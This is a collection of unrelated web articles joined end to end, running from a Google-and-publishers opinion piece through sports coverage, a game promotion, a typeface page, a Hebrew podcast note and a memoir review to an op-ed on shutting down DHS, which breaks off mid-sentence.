fellow European publishers can press Google to live up to the kind of publisher-friendly, news-loving, democracy-supporting firm many within the company say it wants to be. So now words must turn to deeds. In addition to the big tagging idea, what else might Google do? The list here would be a what’s-what of the biggest challenges and opportunities confronting publishers today: Mobile : With mobile now at more than 50 percent of usage, publishers are struggling with ad formats on the smartphone. How can the Android champion help there? : With mobile now at more than 50 percent of usage, publishers are struggling with ad formats on the smartphone. How can the Android champion help there? RELATED ARTICLE Google and Storyful are launching YouTube Newswire, a feed of verified user-generated videos Joseph Lichterman Video : Publishers see ad riches in digital video, but they struggle with its costs and presentation. Further, Google’s YouTube isn’t the greatest environment for news video. The company could find ways to align interests. Take what it announced today, its new YouTube News Service, powered by Storyful. YouTube is a great service, but its sheer disorderliness has drained its full potential. YouTube have moved forward with channels in part to address the chaos. Now, the YouTube News Service takes that gangly world of user-generated news video, from Middle East actions to exploding volcanoes, and makes a little order of it. Storyful, smartly bought for $25 million by News Corp in 2013, will showcase five to 15 videos each day, each vetted for authenticity, the core of the Storyful proposition. That attention to editorial quality, as well as quantity, should be a wider Google goal. : Publishers see ad riches in digital video, but they struggle with its costs and presentation. Further, Google’s YouTube isn’t the greatest environment for news video. The company could find ways to align interests. Take what it announced today, its new YouTube News Service, powered by Storyful. YouTube is a great service, but its sheer disorderliness has drained its full potential. YouTube have moved forward with channels in part to address the chaos. Now, the YouTube News Service takes that gangly world of user-generated news video, from Middle East actions to exploding volcanoes, and makes a little order of it. Storyful, smartly bought for $25 million by News Corp in 2013, will showcase five to 15 videos each day, each vetted for authenticity, the core of the Storyful proposition. That attention to editorial quality, as well as quantity, should be a wider Google goal. Reader revenue: Whatever publishers can do to increase digital ad revenue looms large. But it’s reader revenue that’s been the star of recent years. Paywalls have worked — terrifically at the biggest publications, somewhat for the regionals. As most publishers tighten the number of free articles available to non-subscribers, what could Google do to help publishers grow this essential revenue source? For one, Google might be able to do some integration with publishers to personalize search results for their digital subscribers. Secondly, Google might make more flexible its longstanding “First Click Free” policy. That policy, seemingly an anachronism at this point, mandates that publishers using paywalls extend five free articles per device to Google users before hitting a paywall — despite any other restrictions publishers may otherwise use. “FCF” made some elemental sense when it rolled out in 2008, aimed at bettering user experience so that they wouldn’t bump their noses on harder paywalls. Now, though, Google could look at simply labeling paywalled content, as it already does for “mobile-optimized” sites. Here, the world has gotten more complicated as social traffic has mounted in importance compared to search. Publishers can exercise great (and increasingly nuanced) control over social access. It makes sense, in 2015, for Google to figure out how to loosen its reins, allowing publishers to run their own business strategies without interference. How much value does Google get from news? How much value do newspaper companies get from Google, mostly in the form of traffic? We could use many calculations to get there, based on an array of assumptions, but let’s not go there now. As intriguing as those value assumptions might be, I think they shouldn’t be the focus of the negotiation. It’s 2015, and there’s so much digital disruption water under the bridge, with more floodwaters on the way. Reparations aren’t the point. The point — for all those who value the role of a free and vibrant press in democracy — is how the increasingly digital world can fairly aid those creating original news content. I don’t really care whether Google might step up to the plate here — with the ad tagging idea, or something else — out of benevolence, or out of fear of further European legal action, or in order to to better compete with Facebook and Apple. What counts is to get beyond all the babble of the last decade — and to find ways forward. Photo of an illuminated Google logo at the industrial fair Hannover Messe in Hanover, Germany, April 17, 2007, by AP/Jens Meyer. -The Maranello-based outfit went into 2016 determined to fight for the title and win races from the off, but a mixture of strategy calls, poor reliability and lack of update progress hurt its chances against Mercedes. In the end, as Red Bull hit peak form towards the end of the campaign, Ferrari even slipped to third place in the constructors' championship, exactly 70 points behind its Milton Keynes-based rival. Ferrari president Sergio Marchionne has singled out its lack of development during the season as its biggest fault this year, and says the matter must be addressed for 2017 if the outfit is going to achieve its target. Speaking at the Ferrari Mondiali 2016 races in Daytona, Marchionne was pretty clear about the weaknesses his team had to sort. "The most important recognition that the team has made during this season is a clear identification of the gaps we have in terms of two things: one is honestly performance on track, but, more importantly, I think about the rate of change of the other teams," he explained. "I think we have seen a Red Bull at the start of the 2016 season that did not have, at least on paper, the attributes to try to take on Ferrari. And by the end of the season, Red Bull did effectively become a viable competitor. "And it was not due to the power unit side, it was down to the work that was done on both aero and chassis. "And it's pointed out probably one of the most significant holes in the strategic development of Ferrari in the last few years. "We will try to remedy that problem. That's not to say we don't consider the power unit to be crucial, work continues on both fronts. But I think the biggest issue is that we need to recognise from the '16 findings is the gap that exists on aero development and I think we are trying to close it as quickly as we can." It is Red Bull rather than Ferrari that is being tipped by many to be Mercedes' main threat for the championship in 2017, and Marchionne thinks it impossible to be too confident about how his team will go next season. "I think it is impossible to make any prognostication for the 2017 season," he said. "The only thing I can guarantee you is that we are leaving no stones unturned. "And we're also preparing for in-season development of the car, which is crucial to maintain the competitiveness of whatever goes on to the track in Australia in March." -“Here we are again.” That was Rev. Janie Spahr’s reaction as the Presbyterian Church (USA) lodged new charges against her for performing same-sex marriages. Spahr has been in this hot seat before. She’s been in and out of trouble for presiding over ceremonies for same-sex couples since 2006. The worst punishment she has received was a rebuke in 2008… “the lightest possible punishment.” Church authorities decided that since the marriages were “not marriages, she did not violate the church’s constitution.” This time, things are a little different. The 16 same-sex marriages she’s accused of presiding over in the new charges were legal since they were performed “during the five-month period in 2008 when same-sex marriage was legal in California.” Spahr’s defender in the case, Scott Clark, said the church is “trying to sanction a minister for performing legal marriages. This is unprecedented.” JoAn Blackstone, who is the prosecutor, said the distinction is immaterial. The marriages may well have been legal under state law, she said, but were “expressly prohibited” by the same ruling that acquitted Spahr in 2008. Blackstone said the case hinges on “a narrow issue of church law” and is unrelated to the public debate over same-sex marriage. Unfortunately for the church, the public debate over same-sex marriage is precisely the issue. For a clergy person to be forbidden from performing a wedding ceremony that is legal, then to be brought up on charges after performing a legal ceremony is outrageous. It is another example of the conflict between church and state—and the impossible, and seemingly immoral, positions the church continues to put its clergy into. While it is true that church law considers marriage as “a civil contract between a woman and a man,” at the time Spahr married these 16 couples, the state of California considered marriage a “civil contract” between a couple made up of opposite or same genders. The key here is that marriage is a “civil contract”—under the legal auspices of the state and not the church. For the church to claim they “have no wiggle room” on the charges pending against Spahr is disingenuous at best, and sad at worst. Either the church is, once again, exerting its conservative muscle to make an example of one of its own as a warning to other clergy who may step out of line, or the church is in such a sad state that it feels it has no choice but to defend a law that continues to exclude and harm a segment of God’s children. The law Spahr is accused of violating is unjust and as Martin Luther King Jr. once said, “one has a moral responsibility to disobey unjust laws.” To Spahr’s credit, she has no trouble following that advice, telling the Press Democrat: “It’s a real faith issue for me,” she said. “I think I would be in jeopardy if I didn’t do it.” Spahr will go on trial sometime in August or September. -As the draft creeps ever closer, it’s been hard to miss the steady drumbeat growing among film watchers for Texas A&M receiver Josh Reynolds. Lauded for his ability to high-point the ball and make the spectacular grab, even a cursory glance at his game provides an easy piece of evidence for why he has so many fans. Reception Perception aims to do what is a challenge for just the average note-taker: place all portions of a wide receiver’s performance in context and congruence with each other. Through the number of metrics provided by the charting methodology, we can observe which players exist in a limited or narrow role, while also noting their strengths and proficiency in that assignment. Most importantly, the success rates in the series help show whether that player in question can ever hope to function outside of their collegiate role. Josh Reynolds is a fascinating case, as his evaluation brought on a healthy mix of questions and answers. After questioning whether some of the anecdotes of his strongest traits hold up, we may have stumbled on how he truly stands out among players incubated in similar collegiate environments. Alignment and Target Data Games Sampled: South Carolina, Tennessee, Alabama, Mississippi State, LSU, Kansas State Throughout the 2017 Reception Perception draft series we’ve placed little emphasis on the wide receivers who primarily stuck to one side of the field, as fully explained in JuJu Smith-Schuster’s profile. With players like Laquon Treadwell, Kevin White and Dorial Green-Beckham primarily playing one side of the field in college and also getting off to slow starts in the NFL, we might be seeing the beginning of a trend developing. With such a limited collegiate assignment that does not replicate a pro receiver’s deployment, perhaps these players are naturally predisposed to a steeper learning curve. Josh Reynolds becomes the latest among a group of prospects charted the last three years to operate almost exclusively from one position on over 70 percent of their charted snaps. Of these players, Green-Beckham posted the highest yardage total in his NFL rookie season with just 549. The former Aggies receiver took 84.2 percent of his snaps at right wide receiver over the six games charted for Reception Perception. Over 66 percent of them came with Reynolds attached to the line of scrimmage playing the X-receiver spot. He gained some experience playing in the slot, traveling there on 5.3 percent of his snaps, 24 in total. Texas A&M plays a wide-open spread passing offense much like the offense Chad Hansen operated in at Cal-Berkeley. Unlike his Cal counterpart, Reynolds wasn’t the target hog of the Aggies’ offense in 2016, drawing a target on 26 percent of his charted routes. Reynolds only caught a pass on 14.7 percent of his patterns, the second-lowest rate among 2017 draft prospects with only Josh Malone’s 13.1 percent trailing him. One of the issues sure to stick with other analysts, though they tend to be overstated in general, is his propensity for drops. Reynolds checked in with a 9.4 drop rate in his sampled games, one of three highest in this class. Drops are often overweighed by fans because the negative effect they have on us tends to overwhelm our perspective and casts a shadow over positive traits. On the other hand, spectacular catches can have the inverse effect and cause us to extrapolate those high moments to the rest of our takeaways. Ancillary Metrics Before digging into his route running, it’s important to note the attributes that most often draw analyst’s affection. Simply put: Josh Reynolds makes some of the most spectacular catches among the wide receiver prospects in this draft. His highlight clips and cutups are littered with impressive, leap-driven catches where Reynolds plucks the ball with strong hands in midair. Yet, in the inverse effect of the overpowering negative visceral reaction to drops, observing a few of those awe-inspiring catches can leave a stamp of positive reaction that’s tough to wash away. Given some of the sterling catches he makes in the air, it was disappointing to see Reynolds check in with a 64.3 percent contested catch conversion rate in Reception Perception. Now, for context, that’s far from a poor score. It is above the two-year prospect average. However, it falls just above the 58th percentile. Reynolds is certainly capable of winning this brand of difficult reception, but his ability in the air is far from a dominant trait on the level of a Chris Godwin, and even falls below some smaller receivers like Carlos Henderson or Taywan Taylor. One area where Reynolds did live up to the hype was after the catch, going down on first contact on just 35.7 percent of his “in space” attempts. He was proficient in making the first defender miss, breaking a single tackle on 50 percent of his in space attempts, and at busting out big plays, shown by breaking two or more tackles on the remaining 14.3 percent. Both of those scores checked in above the two-year prospect average. In this area, Reynolds compared to a similarly built current NFL player in Marvin Jones. During his final season with the Bengals, Jones broke a single tackle on 62.5 percent of his in space attempts and multiple tackles on 12.5 percent. Of course, Jones still holds the Reception Perception record with a 90 percent contested catch conversion rate from that 2015 campaign. Should Reynolds soon hone that skill in the air as Jones has, he could enjoy a similar career to the now Lions wideout. He certainly has the potential route-running acumen to do so. Success Rate vs. Coverage In his work as a separator, Josh Reynolds shows his true value and placement among the receivers in this year’s class. Despite his tall and lanky frame at 6-foot-3, 194 pounds and propensity to high-point passes in high-leverage situations, Reynolds showed well in all layers of success rate vs. coverage. With a 71.1 percent success rate vs. man coverage, Reynolds scored at the 67th percentile among prospects charted for Reception Perception. He also showed well when asked to defeat jams at the line of scrimmage, with a 67.3 percent success rate vs. press coverage. That score put him above the two-year prospect average, but only by a few percentage points. Reynolds’ best work came against zone coverage, with a success rate (83.9 percent) above the 94th percentile. He showed a strong ability to sift through traffic in the middle of the field, as well as diagnosing coverage at or above the level of his quarterback. It should be noted, however, that Reynolds only faced 56 attempts against zones, compared to 149 in man coverage. Route Data We noted that Reynolds comes from a similar college offense to that of Chad Hansen or Ishmael Zamora, who came with limited assignments as route-runners. Not only did Reynolds primarily play just one receiver position, he also was not responsible for a wide array of patterns. Essentially, Reynolds’ deployment portfolio primarily contained just three routes, with 75 percent of his charted patterns being slants, curls or nines. Those were the only routes he ran at a rate above the prospect average. He did check in at the average for out route percentage and mixed in some posts and digs at a mild level, but by in large, his work was done on just those three routes. Reynolds’ deployment on just one side of the field in conjunction with a narrow usage pattern on the route tree simply cannot be ignored. It would not be surprising to see this player struggle to make an early impact in the NFL, given his overall lack of a diverse set of assignment experiences. However, his route success rate scores give optimism that with the proper seasoning, there is something to be mined with Reynolds’ potential. Among those three routes Reynolds ran at a high rate, the only one that did not come with an above average success rate was the nine. His 80.8 percent success rate on slants, and especially his 85.7 percent success rate on curls were some of the best scores in the 2017 draft class. With his ability to play the ball in the air, Reynolds makes sense as a threat on curl routes in breaking back to the quarterback. It helps that he demonstrates an understanding of deceptive routes running, not tipping off his intent when cutting off a vertical stem. Similarly, as he’s a quantifiable threat to break tackles in the open field, his NFL team will likely make use of him on slants to get him into space. Though he was not asked to run many other routes at a high frequency, Reynolds largely passed any and all tests in limited showings by scoring above the average on all routes outside of the nine and post. It may take time, but Reception Perception indicates the senior wideout could develop into a more complete player as his career goes on. Unlike the litany of other receivers who will likely face a steep learning curve due to their college offense and limited roles, Josh Reynolds shows the route-running acumen and separation to potentially eschew those worries. With strong success rates across the route tree and overall marks against man and zone, Reynolds passed the Reception Perception test. With verifiable strengths in the air in the contested catch game and more notably on the ground after the catch, Reynolds has abilities to lean on while he marinates in the technical portions of the wide receiver craft. Of all the developmental receivers who need to overcome limitations brought on by their college role, take Josh Reynolds as the one to see his ability shine through over his assignment. The ceiling might not be tremendous in his future outlook, with a lack of spectacular scores across the board, but don’t be surprised if by 2019 or earlier, Reynolds is competing for or locked down a prominent complementary spot in a passing game. If you’re interested in more Reception Perception analysis, make sure to visit our Reception Perception pages for college prospect evaluations and pre-order The Ultimate Draft Kit for access to 50 NFL players’ full data this summer. You can keep up with all of the work using the #ReceptionPerception hashtag on Twitter. -Stanford men beat Cal at home, 69-59 STANFORD 69, CAL 59 Thanks mainly to deadeye shooting from John Gage, Stanford had a 26-3 advantage over Cal in bench scoring Saturday. The Cardinal also had a lopsided advantage at the foul line, shooting more than twice as many free throws as the Bears. It added up to a badly needed 69-59 win for Stanford at Maples Pavilion. A fourth conference loss would have put the Cardinal in a very deep hole as they hit the road this week to Colorado and Utah. Gage, a 6-10 junior known mainly for his long-range scoring, hadn't hit a three in the previous two games. He swished all four of his tries from beyond the arc and scored 14 points as Stanford (11-7, 2-3 Pac-12) dealt short-handed Cal (10-7, 2-3) its fourth loss in its past six games. "I'd like to have 26 points off the bench," Bears coach Mike Montgomery said of his injury-depleted roster. "We can't make excuses, but we don't have a lot of flexibility." Dwight Powell, who was 9-for-9 at the foul line, scored a game-high 17 points. Stanford made 25 of its 31 free throws, while Cal was only 11-for-15. Stanford's Chasson Randle launches a second-half shot against Cal's Richard Solomon. Stanford's Chasson Randle launches a second-half shot against Cal's Richard Solomon. Photo: Paul Chinn, The Chronicle Photo: Paul Chinn, The Chronicle Image 1 of / 19 Caption Close Stanford men beat Cal at home, 69-59 1 / 19 Back to Gallery "It's the way you're able to get the free throws," Stanford coach Johnny Dawkins said. "Our kids did a good job of playing with aggression. I thought we attacked the basket well. We got the ball inside and put ourselves in a position to be fouled." They also attacked the Pac-10's leading scorer, Allen Crabbe. With Andy Brown having the primary defensive responsibility, Stanford held Crabbe to 14 points, six under his average. He took just four shots in the first half and made one of them. Neither team shot well. The Cardinal won despite shooting 36 percent and making one field goal in the final seven minutes. Cal shot 35 percent. "We came out with a defensive-minded game and tried to be as tough as we can and make the plays down the stretch," Powell said. It was a one-point game (43-42) with 13 minutes left. Stanford's Chasson Randle stole a pass and drove for a layup, Gage hit a three, and Powell sank two free throws for a 50-42 lead. Justin Cobbs (13 points) hit back-to-back shots to cut the lead to four, but Stanford steadily pulled away. "Any time you play Cal it's always one of those grind-it-out games, where it's physical and guys are playing their hearts out," said Randle, who scored 15 points. Cal's Richard Solomon committed an ill-advised foul as Powell prepared to launch a three-pointer with the shot clock about to expire. Powell sank all three foul shots, and Stanford led 57-47. "I tried to get him off his feet with a pump fake," Powell said. "He's a great shot blocker, so I knew it would be a tricky shot. ... Fortunately for me, he jumped." Josh Huestis grabbed 12 rebounds and hit a 17-footer for the only Stanford basket of the final seven minutes. The game drew an announced crowd of 5,877, easily Stanford's best of the season. The crowd, however, fell short of the 5,931 at last weekend's women's game between the two schools. -Commanders, Knowing what fun it is to drive heavy weight-class vehicles and hear the sound of enemy vehicles being crushed beneath your tracks, we have decided to improve the experience even further by providing additional bonuses and discounts. That is why we are inviting you to relive the much-appreciated Heavy Steel Weekend and rule the battlefields with your sturdy heavy tanks! This is what you can expect: Triple Experience for the First Victory of the Day Regardless of your vehicle of choice, your first victorious battle will shower you with XP! 30% Discount and 20% Increased Income on the following Heavy Tanks: 50% Discount on the T14 Premium Tank Get this sturdy American heavy at half the price! 50% Discount on Crew (Re-)Training Get new crews or transfer old ones to new vehicles for 50% cheaper for all training options! Mission Heavy Steel Weekend Goal Deal 5,000 damage in one battle Reward 50,000 Conditions Random battles only Using heavy tanks only (premium heavies included) You can enjoy these bonuses from Friday 13th December 2013 06:10 until Monday 16th December 2013 06:00 CET (GMT +1). Make sure you also check out our other current offers! Missions for December Enjoy these missions throughout the whole month and obtain great rewards Weekly Missions New week, new challenges - complete these missions and claim your prize Random Draw 30-50% discount and 50% bonus crew experience on the tech tree branch leading up to and including the Pz. Sfl. V (Germany), SU-14-1 (USSR) and S-51 (USSR) Crush everything in your path, Commanders! -GT Walsheim Medium “I never properly learned typography, I just draw letters for my posters.” “I never properly learned typography, I just draw letters for my posters.” Swiss poster artist Otto Baumberger GT Walsheim is inspired by the poster lettering of Otto Baumberger (1889–1961). He was a Swiss painter, stage designer, lithographer, and poster artist who created over 200 posters during his career. This website introduces the refreshed GT Walsheim typeface family and highlights Baumberger’s beautiful poster designs. You can tap on most images to reveal sketches, animations, and more. Zürich Metropolis 1929 • 100×64cm Zürich Metropolis 2017 • 00:07 Walsheim Weisse 1930 • 110×70.5cm Walsheim Weisse 2017 • 00:06 Zürichsee 1935 • 100×70cm Zürichsee 2017 • 00:10 His work is fascinating for many reasons. Like most designers of his time, Baumberger created a lot of tourism posters with the Swiss Alps in the starring role. His career was marked by the ascendancy of branding and consumer products in society. At times Baumberger’s work leaves the aesthetics of landscape painting behind for a more abstract, geometric look that was so characteristic of the later Swiss Style. All those posters have in common that they allow Baumberger’s geometric lettering to take center stage. Forster Ausverkauf 2017 • 00:06 Forster Ausverkauf 1928 • 128×90cm Balatum 2017 • 00:03 Balatum 1928 • 128×90cm Forster 2017 • 00:03 Forster 1930 • 127×90cm Brak Liqueur 2017 • 00:04 Brak Liqueur 1937 • 127×90cm -It happens all the time. Someone cut you in the line at a Tel Avivi market, just stepped right in front. What do you say to put them back in their place? That is, back behind you in the queue. Let’s learn what Israelis say in this situation, paying special attention to delicate intonations that make all the difference. Words and expressions discussed: Ze rak she’ela – It’s just a question – זה רק שאלה Slicha – Sorry / Excuse me – סליחה Ani hayiti kodem – I was (here) before – אני הייתי קודם Chutspa – Nerve – חוצפה Halo-halo! – Hey! – הלו-הלו Halo, ma niya? – What’s going on? – ?הלו, מה נהיה Lo lo lo / Lo lo lo lo lo – No, no, no – לא לא לא / לא לא לא לא לא Achshav ani – Now it’s my turn – עכשיו אני Achi / Haver / Gever / Adoni – Dude / mate / man / Sir – אחי / חבר / גבר / אדוני Hayita po? – Were you here? – ?היית פה Gvirti slicha, ani kodem – Ma’am excuse me, I am first – גבירתי סליחה, אני קודם Episode 144 on ‘nihya’ Music: Matti Caspi – Slicha (lyrics) Amir Benayoun – Mehila (lyrics) George Bar – Halo, halo Shotei Ha-nevu’a – Yefehfiya (lyrics) Rivka Michaeli & Ran Eliran – Lo Lo Lo (lyrics) Ha-haverim shel Natasha – Achshav Ani (lyrics) Tsipi Shavit – Gveret Shokolada (lyrics) Looking to support the show? Learn how on Patreon. Want to see more Hebrew gems? Like Streetwise Hebrew on Facebook and Instagram. Want Guy to talk about a pressing Hebrew issue? Find him at StreetWiseHebrew.com or follow him on Twitter. -Judging by this satisfyingly scandalous new memoir, Frank Langella has slept with, been propositioned by, or at least swapped dirty jokes with a breathtaking swath of stars over his illustrious half-century career. Each of the 65 chapters in “Dropped Names” offers a no-holds-barred eulogy somewhere between mash note and carpet-bombing. The collection paints Hollywood and Broadway as teeming with vulgar, neurotic and irresistible company, and Langella as relentlessly affable in the face of nonstop groping by famous people in far-flung locations. He ambles into history and falls into notable beds like some kind of sexy Forrest Gump or beefcake Zelig. On Cape Cod, Noël Coward hits on him in the presence of President and Mrs. Kennedy. In Arizona, filming a TV remake of “The Mark of Zorro,” Yvonne De Carlo (better known as Lily Munster) plays Langella’s mother by day, and by night treats him “like a pretty girl in the back seat of a convertible on a hot summer night.” In the south of England, on location for “Dracula,” Langella flashes Laurence Olivier through the doorway of their adjoining suites, calling, “Oh professor, see anything you like?” He and Jill Clayburgh come “dangerously close to a tumble,” and backstage they and Raul Julia become “a pulsating Oreo cookie with nothing remotely chaste about where our hands and mouths wandered.” The book’s subtitle should be “Bad Girls Go Everywhere,” although Langella is no girl — as Anthony Perkins rather bluntly attempts to verify one night in a dressing room. Photo Aside from a little coyness about his intimate relationship with Jackie Onassis, Langella pulls very few punches. Richard Burton is “a crashing bore”; Yul Brynner is paranoid and imperious; Rex Harrison, a “son of a bitch”; Lee Strasberg, “arrogant and insufferable.” Langella is “flattered and somewhat perversely titillated” when Elia Kazan makes a pass at his girlfriend in an effort to break him down, but of Kazan’s other bad behavior, before the House Un-American Activities Committee, he says, “I have always felt that talent such as his doesn’t give you rights.” Langella recalls sitting with his hands folded when Kazan received a standing ovation at the Oscars. Luckily for others, Langella is as enthusiastic as he is vicious. He celebrates Robert Mitchum’s “carefree, rangy masculinity,” Roger Vadim’s “devotion to physical pleasure,” and Paul Newman’s “original and mesmerizing” beauty (although he does call him “dull” and note that he didn’t have “much of a behind”). Langella saves his highest praise for women of a certain age — that age entitling one to a discount at the movies. Loretta Young in her late 70s was “breathtaking . . . very attractive.” Brooke Astor in her late 90s was “ultra­feminine and alluring” — and in Langella’s company not shy about relating how she lost her virginity. He waxes philosophical about his on-set affair with Rita Hayworth when he was 34. It was her last film. She was 20 years older and suffering from alcoholism and early Alzheimer’s, yet, “in the candle’s light and fire’s glow,” Hayworth “once again becomes the Goddess.” If this memoir doesn’t make the book club of every seniors’ home in America, then there’s something wrong with the Greatest Generation. Video While never boring, “Dropped Names” is in places more sketch than oil painting. The ode to Princess Diana, whom Langella never met, is a weak link, as is his opening chapter on Marilyn Monroe, which leads with the generic: “Remember when everything meant so much?” There are a few distracting repetitions, including at least 10 variations on the phrase “minimal makeup.” (Perhaps he’s spent so much time surrounded by stars in greasepaint that whenever he sees a woman’s pores, he exults.) But the book’s stylistic imperfections add to the sense that you’re reading the uncensored diary of an indefatigably social and curious man, a modern-entertainment-industry Samuel Pepys. Narcissistic? Sure. He grants that he was especially “selfish and obstreperous” in his youth. But he’s inspiringly game. The word “slut” has been invoked in the public discourse as an ugly slur. But Langella’s book celebrates sluttiness as a worthy — even noble — way of life. When Bette Davis wants to have “racy phone conversations . . . rife with foreplay,” he agrees, because how could you not? When Elizabeth Taylor says, “Come on up, baby, and put me to sleep,” who is he to resist? (He does make her chase him first.) By his cheerful debauchery, Langella reveals something certain commentators have obscured: sluts are the best — hungry for experience and generous with themselves in its pursuit. He talks about how joyful it was in his 20s to “throw some scripts, jeans and a few packs of condoms into a bag,” and head out to do plays and bed theater ­apprentices. There is so much happy sexuality in this book that reading it is like being flirted with for a whole party by the hottest person in the room. It’s no wonder Langella was invited everywhere. -Reading Dimitri’s piece on the Sedin twins made me think about the most under-appreciated aspect of a hockey player’s existence. Henrik Sedin’s key value as a hockey player isn’t that he’s a moderately good possession centreman after you correct for zone starts or that he’s a scoring champion. His key value is that he was the only forward to play 82 games each season between both the 2005 and 2012 lockouts. He last missed a game on March 16, 2004, a 4-3 loss to the Chicago Blackhawks (to any Chicago readers, yes, the Blackhawks did exist before 2010). A great player who only plays 60 games can be downgraded to being a good player. Since so few players get on ironman streaks that last seasons in a row, being a good player for all of these games elevates a player to being great. From Sedin, to Brendan Morrison to Andrew Cassels, it’s been about a decade since the Canucks had to hold their top centreman out of the lineup. Here’s something Mike Gillis said: We’re trying to define fatigue levels in those circumstances and as you know, a player usually gets hit twice when he gets hit once. He gets hit by the player and then hits the boards. How you can attribute that to success and how you attribute that to fatigue levels is instrumental in finding out when a player in the third period makes a mistake. And something happens and I think that as we’ve found, in a dynamic, competitive contact sport that fatigue levels are really a lot of the determining factor in success or failure. It doesn’t deviate too far from the conclusions found by Eric T. at NHL Numbers about older players playing a lot of games. I think the players who make it to 36, 37 years old in the NHL have bodies developed enough to continuously handle the grind of a season. You can think of a few players (the most prominent being Kyle Wellwood, but I made an argument for Cody Hodgson last season) who are fairly effective until they hit a certain minute threshold and they fall off the wagon. Wellwood, for instance, is a first-line player when he plays below 14:10 per game. He’s a moderate second line player when he climbs above 15:34: Avg. TOI Goals/82 Points/82 Above 15:34 17:16 18.5 42.3 Above 14:10 14:56 15.9 50.9 14:10 and Below 12:39 21.7 54.1 (The Goals/82 and Points/82 are based on 14:46 of ice time per game) Henrik Sedin played just two games under Wellwood’s “maximum” threshold of 15:34 (he recorded eight points in those games, giving him a per 82 average of 212 points in those games) but the real value of what Henrik provides in those games over 15:34, or what certain centremen can’t play, or just aren’t good enough to play. If a player has excellent hands and shot, it doesn’t mean anything if they can’t wield that for more than 16 minutes regularly. This can also apply to goaltenders. Two goaltenders, both alike in dignity, talent and statistics. We can call these hypothetical goalies “Cory Schneider” and “Roberto Luongo”. Somebody pointed out to me on Twitter that they were looking over this page on statistics and noticed Schneider had a higher quality start rate and a higher save percentage, even at even strength. There’s this: EV SV% Luongo 0.929 Schneider 0.931 That’s just even strength save percentage. On the surface, it appears that Schneider is the better goaltender. It just isn’t the case when you tally up the player’s value over the course of a long season. Over a full season, that 2-point difference in save percentage is worth a little under two goals against in value, which is close enough to be affected by randomness when you have in excess of 1500 attempted shots flying at you. The top 30 goaltenders in goalie starts this season combined for an EV SV% of .923. The next 30 in starts combined for .916. The rest, the “replacements” combined for .913. When you celebrate a goaltender’s save percentage, you need to look at it in terms of marginal value versus a replacement. You also need to figure out how many shots a goaltender stopped compared to said replacement, presumably the guy you can just find on the farm. The list includes players like Jeff Deslauriers, Brad Thiessen, Curtis McElhinny and Jussi Rynnas. Some guys fared well in their few NHL appearances. Some fared worse, and, on average, they all fared just marginally worse than backups. Those numbers add up: EV SV% Replacement Shots Faced SAR Luongo 0.929 0.913 1288 21.4 Schneider 0.931 0.913 750 13.4 The SAR stands for Save Above Replacement. I used to calculate this against the average goaltender, but even average players have some value. By facing more shots and playing more games, to use a poker analogy, Luongo had his chips on the table more often than Schneider. He showed, for a longer period of time that he was elite, and he was eight goals better than Schneider over the course of a season. Statistics comparing a player to a replacement aren’t rate statistics: They’re cumulative. Luongo helped the Canucks win about four games versus a replacement goaltender and Schneider was about 2.5 over the course of the season. Schneider was pretty great this past year. His SAR was 18th in the NHL, good enough to be a starter, despite having just 28 games under his belt. That was better than starting goalies like Ryan Miller, Craig Anderson, Cam Ward and Carey Price. As far as everyday performance, he wasn’t as good as Luongo, who performed at a similar level, but did it longer. Luongo has started 50 games, a good benchmark for an everyday goalie since the 2000-01 season. The most concerning statistic about Luongo is that he’s dipped in starts from 67 to 60 to 54 over the course of three seasons. He’s managed to be near the top of the league in save percentage throughout. Go through year-to-year and you’ll find that consistency is a tough thing to gauge among goaltenders. Mike Smith and Brian Elliott had very strong years this past season (helped along by coaching) but haven’t been great beforehand, so it’s easier to write off their good performances from last year. I think the general idea is that you’d rather have a good player for very long than a flash-in-the-pan great player. That Henrik Sedin guy is very good. That Luongo guy is pretty good too. It’s been no coincidence that the Canucks have had some very good years since those two became the Canucks’ go-to guys. -Congressional Republicans are once again holding the government hostage against a budget authorization bill, this time threatening to put the Department of Homeland Security (DHS) into furlough. Maybe it’s time to call them on their bluff and go one step further: Let’s shut down the DHS. The agency is no longer relevant in an age where cyberterrorism may be the new normal, and it’s doing the United States more harm than good. As Ashley Parker at the New York Times reports, obstructionist Republicans are so determined to get their way on immigration policy that they’re willing to let the agency’s funding lapse rather than authorize a bill that includes immigration provisions. “Some House Republicans,” she wrote, “have expressed a willingness to let the agency run out of money.” And maybe we should. Permanently. 1) It was a terrible kneejerk reaction to Sept. 11 In the chaotic days after the horrific terrorist attacks of 2001, President George W. Bush and Congress were both desperate and swift to act. Under heavy demands from the U.S. public, they wanted to demonstrate that they were doing something to protect the security of the nation. The DHS, along with the PATRIOT Act, were the result. Both had a chilling effect on the U.S. public, becoming the building blocks of our 21st century security culture. Thanks to the DHS, Americans have faced a substantial abridgement of their civil liberties and have come to view law enforcement activity that would have been unthinkable 20 years ago as routine. In the name of security, the DHS has created greater latitude for search and seizure, increased the number of people in prison—particularly people of color, with the number of black men in prison now exceeding the number of slaves kept in the United States in 1850—and attracted substantial criticism. 2) $39.3 billion is a huge waste of federal funds DHS funding last year amounted to $39.3 billion. Split between divisions like Immigrations and Customs Enforcement (ICE), agricultural inspection, and the Coast Guard, the funding sucked into the DHS wasn’t used efficiently. As is common with large government agencies, significant problems with both funding use and accountability have been a recurrent issue at the DHS, where large amounts of money are disbursed without notable returns. In 2007, the Department of Homeland Security was unable to pass even basic auditing because its accounting system was such a mess. In its first five years, the agency oversaw $15 billion in failed contracts, including an assortment of poorly conceived and controlled ideas, ranging from overhauling ships for the Coast Guard to developing better airport screening. Writing about the DHS funding crisis, Anne Applebaum at Slate says: Since their hurried and heavily politicized creation, the fact is that neither the priorities nor the spending patterns of the Department of Homeland Security and its junior partner, the Transportation Security Administration, has ever been subject to serious scrutiny. They have never been forced to make hard choices. On the contrary, both have been encouraged, by their congressional funders, to spend money on more elaborate equipment every year in reaction to every perceived new threat, real or otherwise. 3) Its disaster preparedness and response are abysmal Hurricane Katrina showed us in 2005 that the United States is not prepared to deal with severe disasters, and that was underscored with Superstorm Sandy. We have the Federal Emergency Management Agency (FEMA) and parent agency DHS to thank for that. One of the agency’s key missions is to improve disaster preparation and response, yet it has been categorically unable to do so. Issues like these are going to repeat themselves and may, in fact, become more severe with climate change. As yet another polar vortex holds the East Coast and some parts of the South in lockdown, the United States needs to seriously invest in developing a coherent and comprehensive disaster prevention and response system. It’s time to address deferred maintenance on levees, subways, and related systems and to create an effective rapid response plan for natural disasters. FEMA hasn’t done it, and clearly the DHS is not up to the job. 4) Our law enforcement agencies are too militarized Growing militarization of law enforcement agencies is a significant problem in a country where police departments should be concerned with protecting public safety, 